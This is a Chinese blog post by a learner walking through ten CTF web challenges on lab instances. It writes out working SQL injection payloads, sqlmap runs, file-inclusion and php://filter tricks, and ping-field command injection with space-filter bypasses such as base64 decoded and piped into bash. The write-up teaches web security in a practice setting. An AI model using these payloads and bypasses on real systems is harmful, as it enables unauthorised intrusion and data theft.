标签搜索

记一次ctf练习

lucky‭‭‭⁧博士⁧‭
2024-10-25 / 0 评论 / 11 阅读 / 正在检测是否收录...

第一题 [极客大挑战 2019]EasySQL

m2otucix.png

先输入1试试

返回参数username=1&password=1

输入username=1&password=1 order by 1,2,3,4,5,6

试探类型,试探了但是好像报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

可以尝试一下sql万能密码,用户名输入1,密码使用万能密码' or '1'='1

https://blog.csdn.net/u012206617/article/details/125770267

m2otuvs2.png

然后点击提交,发现显示flag

另一种方法

使用sqlmap直接跑(这里没有成功)

python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" -dbs
#使用sqlmap直接一把梭,没有出来,加参数
python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs
#得出结果
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=-6221' OR 8577=8577#&password=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1

Parameter: password (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=1&password=-3288' OR 2496=2496#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
>
选择默认,然后报错了,显示没有爆出表
[21:34:04] [INFO] retrieved:
[21:34:05] [INFO] retrieved:
[21:34:05] [CRITICAL] unable to retrieve the database names
这里不会了

结论:使用sql万能密码或者万能账号

得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}

万能密码:' or '1'='1

这里sql查询语句会变成

select * from user where username= '1' and password = '' or '1'='1 '

语句为真,可行,得到flag。

万能账号:admin' or 1=1 #

select * from user where username= 'admin' or 1=1 #' and password = '1'

也为真,得到flag

第二题 [极客大挑战 2019]Havefun

启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看

发现元素里面有东西

m2otv8ej.png

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
    }

这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}

在网址中传参看看

?cat=dog

m2otvfoi.png

点击execute,发现显示flag

flag{61b37ff1-713c-4608-b8e3-b293aa686e37}

第三题 [HCTF 2018]WarmUp

这一题看题目标签得知是一个php的代码审计题目

创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看

m2otvoej.png

看到一个php访问看一下

m2otvvh6.png

打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码

这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下:

highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。

类 emmm:

定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。
白名单($whitelist)仅包含两个文件:source.php和hint.php。
checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。
然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。
核心逻辑:

代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。
如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。
安全分析:
代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。
但仍需确保白名单内的文件是安全的,且不会被恶意修改。
传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。
总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。

看了一个大概,继续分析,从下面向上分析

$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:

  • $_GET:通过 URL 查询字符串传递的参数(即 GET 请求的数据)。
  • $_POST:通过表单或其他方式以 POST 请求方法传递的参数。
  • $_COOKIE:通过 HTTP 请求中的 Cookie 传递的数据。
  • //即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。

    if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
     ) {

有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx

直接访问一下hint.php

m2otw76e.png

发现文件名是ffffllllaaaagggg

那就一点一点尝试吧

file=source.php?../ffffllllaaaagggg

加到第五个的时候出现flag了

source.php?file=source.php?../../../../../ffffllllaaaagggg

flag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}

第四题 [ACTF2020 新生赛]Include

文件包含

m2otwg7i.png

点击tips

发现他访问了一下?file=flag.php

这里可以使用php的伪协议

php://filter

直接?file=php://filter/read=convert.base64-encode/resource=flag

就是将读取的内容进行base64加密,访问后出现base64,解密后发现flag

m2otwo7t.png

flag{15af3147-128a-45d6-86ed-c7ffe143dbc6}

第五题 [ACTF2020 新生赛]Exec

打开页面发现是一个ping,输入127.0.0.1回环地址看看

m2otwyqc.png

发现有回显,试试能不能用拼接符

&& 或者 &

127.0.0.1 & ls /

看到显示了

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.030/0.043/0.050 ms

看到根目录有个flag文件

127.0.0.1 & cat /flag

输入这个就可以看到flag了

flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}

第六题 [GXYCTF2019]Ping Ping Ping

这一题看着和上一题差不多,用上面的试试这一题

打开题目发现是用get传参的方式

打开hackbar、

m2otx7pp.png

发现并不能,也可以是限制空格,试试其他方法,;

使用;意思是执行完后执行后面的命令

m2otxf0q.png

发现有回显

可以看到一个flag.php的文件,使用cat查看

m2otxlpv.png

执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)

https://blog.csdn.net/m0_55754984/article/details/120280081

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1
IFS
< 
<> 
%20   (space)
%09   (tab)
X=$'cat/x09./flag.php';$X

?ip=127.0.0.1;cat${IFS}flag.php

m2otxt8a.png

m2otxzko.png

不能用{}

用?ip=127.0.0.1;cat$IFS$1flag.php

m2oty6je.png

不能加flag,试试index,默认文件

?ip=127.0.0.1;cat$IFS$1index.php

m2otydfn.png

分析代码得出过滤了特殊字符,然后百度找了一下大概思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca/t fla/g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),$(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

选一种思路解题,试试变量替换,用$a拼接flag

得出a=g;cat$IFS$1fla$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag

m2otyou4.png

第七题 [SUCTF 2019]EasySQL

看题目应该是个sql注入题目

m2otyvtn.png

把你的旗帜给我,我会告诉你旗帜是否正确。

输入一个1看看

m2otz3z2.png

使用万能密码试试

m2otzbj2.png

不行,网上查找方法,使用堆叠注入

使用sql查询数据库show databases;

m2otzi8j.png

继续查询表show tables;

m2otzoqv.png

执行查询flag试试

m2otzv7v.png

好像不能使用from

上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符

https://blog.csdn.net/qq_39311377/article/details/132762315

PIPES_AS_CONCAT

set sql_mode=PIPES_AS_CONCAT;select 1

m2ou02sv.png

得出flag

flag{2354e18f-5409-4256-a02f-64cc95b2b368}

第八题 [强网杯 2019]随便注

打开网页,发现和上题差不多

m2ou0chd.png

这题是get传参,用sqlmap一把梭试试

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"

发现有结果

m2ou0j3r.png

加参数

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs  #查看数据库
这里出库了,爆表的时候出问题了,手动注入试试
判断是否是字符型注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1'
这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select  查询关键词过滤
发现联合注入过滤了,使用堆叠注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段

m2ou0s09.png

回显报错,就说明有两个字段

1'; show databases; 查询数据库

m2ou0znw.png

1%27;%20show%20tables;` 查看所有数据表

m2ou16t9.png

"1';show columns from 1919810931114514;--+

爆出1919810931114514的内容,发现里面是一个flag

m2ou1d1y.png

select函数被过滤了,只能用其他方法查询

没有过滤 alter 和 rename。可以修改表名和列名

我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。

这里是网上的解题思路

  • 1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#

网上的解释

- rename table `words` to `words1`; 修改表 words 改名为其它,
- rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
- alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
- 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
- 然后再 1' or 1=1# ,展示flag

最后直接万能密码查询就能显示flag

m2ou1m2n.png

flag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}

这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题

第九题 [极客大挑战 2019]LoveSQL

m2ou7b57.png

使用万能密码试试

m2ou7hef.png

出现一个md5字符串

尝试解密,发现解不开

m2ou7msf.png

通过查询字段发现总共三个字段

m2ou7s9a.png

测试回显

使用database(),查询当前数据库

m2ou7xma.png

group_concat(table_name) from information_schema.tables where table_schema=database()爆表

m2ou82ow.png

可以看到两个表

先看看l0ve1ysq1表里面的内容

group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

m2ou88e6.png

得到了三个字段

group_concat(id,username,password) from l0ve1ysq1

查看内容

查询完发现flag

flag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}

使用工具,sqlmap一把梭

python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs   爆出所有数据库
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump  爆出geek数据库中的l0ve1ysq1表中所有的数据

m2ou47sk.png

最后得出flag

第十题 [极客大挑战 2019]Secret File

m2ou40o0.png

打开题目发现寻找密码,这种清空先ctrl加u看一下源代码

有没有什么信息

m2ou3qwn.png

发现了一个/Archive_room.php点击打开

m2ou3kh8.png

打开看看

m2ou3dzx.png

好像中间发生了什么,抓个包看看

m2ou37ah.png

有一个302跳转,但是中间还有一个隐藏文件,访问这个文件

m2ou3066.png

代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议

filter

https://blog.csdn.net/qq_44879989/article/details/133513447

m2ou2sol.png

看不到,使用base64试试

?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php

m2ou2l5n.png

解密看看

m2ou2el1.png

得出flag

flag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}

0

评论 (0)

取消
This page loaded in 0.002006 seconds